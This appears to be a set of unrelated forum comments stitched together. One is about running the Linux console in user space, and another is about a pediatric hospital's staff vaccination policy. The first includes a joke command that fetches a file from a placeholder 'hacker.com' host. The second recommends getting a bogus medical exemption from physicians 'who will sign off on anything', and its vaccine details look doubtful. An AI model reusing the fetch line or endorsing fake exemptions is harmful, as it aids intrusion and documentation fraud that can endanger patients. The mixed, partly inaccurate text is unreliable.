Running the console in User Space really meaning running a kernel thread in the unprivileged mode of the CPU. If you do a process listing on a current system, most of the PID's < 100 are user space threads launched from within the kernel itself and part of the kernel code base. These include things like USB management, software RAID, swapd, ext4-dio-unwrit. They don't create external dependencies. The chief benefit is that failures in those threads can't take the whole system down. I'm surprised we haven't seen a carefully crafted ANSI console attack hack circulating out there. "Hey kidz, try this: curl h**p://hacker.com/badansi.txt"
While I fully respect the concern of preserving the access of last resort as it is, the only "emergency" I ever have ever needed to use a physical console is when network connectivity goes belly up and you have to fix the network configuration to the point that you can SSH back into it again.
I work at a major pediatric institution and like all the others, we've got a vaccination policy. All staff, whether front-line clinical care or back office, must get vaccinated either by the institution or by a primary care physician unless an employee has a qualifying contradiction. Employees are fully reimbursed if they choose to get vaccinated elsewhere. This year, the vaccination provided by the institution was the subcutaneous, attenuated live strain vaccination. Qualifying contradictions to vaccination include things like allergies to Thimerosal (a common preservative). To qualify for an exception, the contradiction must be supported by documentation from a physician. For the protection of patients, unvaccinated employees must stay home at the slightest suggestion of illness.
If I were one of those nurses, I would have refused passively by finding a doctor from the underground network of physicians who will sign off on anything, get the paperwork, and then abide by the stay at home policies. Actively and publicly refusing on religious grounds is just being incendiary.
